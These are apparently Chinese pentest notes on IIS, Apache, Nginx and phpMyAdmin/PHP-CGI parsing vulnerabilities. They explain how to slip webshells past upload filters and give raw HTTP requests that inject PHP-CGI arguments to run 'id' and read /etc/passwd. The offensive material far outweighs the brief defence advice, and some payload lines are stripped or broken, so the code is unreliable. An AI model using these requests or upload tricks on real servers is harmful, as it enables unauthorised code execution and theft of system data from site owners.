IIS
IIS解析漏洞
IIS6.0解析利用方法有两种:
1:
在IIS6.0下,分号,冒号后面的不被解析,也就是说
wooyun.asp;123.jpg会被服务器看成是wooyun.asp
2:
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
3.默认解析:
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
');?>
的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马shell.php
IISPUT漏洞
2个错误配置造成
1.WEB服务器扩展里设置WebDAV为允许;
2.网站权限配置里开启了写入权限。
使用桂林老兵的工具
IIS溢出漏洞
开启WebDAV服务的IIS6.0被爆存在缓存区溢出漏洞导致远程代码执行,针对 Windows Server 2003 R2
POC: https://github.com/edwardz246003 ... b/master/exploit.py
Apache
解析漏洞
后缀解析:test.php.x1.x2.x3
构造服务器端虚假扩展名检测上传
将一句话木马的文件名lubr.php改成lubr.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名不符合服务器端黑名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。一句话木马可以被解析,即可通过中国菜刀连接。
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
经验之谈:php|php3|phtml|php4|php5多可被Apache解析
Nginx
Nginx<=0.8.37
在Fast-CGI关闭的情况下,Nginx<=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php 解析为 php 文件。
这是从/test.jpg/x.php 演变过来的,具体可以参考:Ngnix空字节可远程执行代码漏洞
源文档 <https://blog.csdn.net/u010726042/article/details/78037696>
Phpmyadmin 默认安装漏洞
phpmyadmin漏洞(3.1.1):
1默认安装可以访问phpmyadmin/setup/,导致可以对服务器进行设置,
利用方法:
通过发送定制包,导致可以执行PHP代码;
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://inputHTTP/1.1
Host: 192.168.20.10
passthru('id');
die();
?>
2防御:
2.1 不允许从公网访问;
2.2 禁用该网页,或者限制访问;
phpmyadmin漏洞
漏洞2:Ubuntu/ Debian 默认安装PHP5-cgi
可直接访问/cgi-bin/php5 和 /cgi-bin/php(爬不出来的目录)
利用:
POST/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6EHTTP/1.1
Host: 123
echo system('cat/etc/passwd');
?>